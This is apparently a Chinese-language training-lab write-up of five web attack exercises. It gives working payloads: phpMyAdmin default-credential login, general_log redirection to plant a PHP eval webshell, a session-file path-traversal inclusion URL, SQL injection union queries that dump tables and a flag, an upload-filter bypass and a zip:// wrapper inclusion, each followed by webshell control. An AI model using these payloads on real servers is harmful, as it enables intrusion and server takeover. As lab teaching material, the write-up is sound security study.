Day-1 漏洞攻击实战

实训任务1 漏洞攻击实战一

使用 御剑 得到网站后台地址

        

数据库登录与日志配置​​

• 使用默认密码 root:root 登录phpMyAdmin，执行 SHOW VARIABLES LIKE 'general%' 查看日志状态。

• 开启日志功能：set global general_log = "ON";（配图：SQL执行成功提示）。

​​日志写入Webshell​​

• 修改日志路径到Web目录：

    set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';

• 执行 SELECT '<?php @eval($_POST[1]);?>' 写入木马。

​​连接Webshell​​

• 访问 http://靶机IP/shell.php，使用中国蚁剑成功连接。

        

实训任务2 漏洞攻击实战二

        御剑扫描网站后台

        

        发现存在www.zip文件（管理员备份文件）

存在数据库后台登录账号密码

运行SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>”
生成shell.php文件（未生成）

构造url运行存在session的sql命令生成shell文件

http://xxx.xx.xx.xxx:xxx/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_此处为步骤7获取到的sessionID

​​连接Webshell​

访问 http://靶机IP/shell.php，使用中国蚁剑成功连接。

实训任务3 白云新闻搜索

1. ​​绕过过滤与注入验证​​

   • 发现输入被转义，使用'触发报错。

• 设置浏览器禁止使用JavaScript
  • 构造永真条件：' OR 1=1 -- '，确认存在注入。

1. ​​Union查询提取数据​​

   • 确定列数后，联合查询表名：

     ' union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables -- '
     
     ' union select 1,COLUMN_NAME,3 from INFORMATION_SCHEMA.columns -- '
     
     ' union select 1,2,flag from admin -- '

        得到flag{fabbf4abe040f2fdac8234099facdccb}

实训任务4 手速要快

1. ​​绕过前端验证​​

   • 修改文件后缀为.php.jpg      <?php @eval($_POST[123]);?>。 

2. ​​访问Webshell​​

   • 通过目录遍历找到上传路径：http://192.168.210.83/uploads/1.php.jpg。

                       

实训任务5 包罗万象

        将php文件压缩上传

        

​​上传ZIP并触发解压​​

                上传包含shell.php的ZIP文件，利用伪协议包含：

http://192.168.210.84/index.php?url=zip:///var/www/html/upload/eee6b96824b2ab9ab6db41e36355eb89.zip%231

                %23 转译为#    ‘1’ 应该与压缩包内的php文件同名

• 

​​获取服务器权限​​

• 通过中国蚁剑管理服务器文件系统。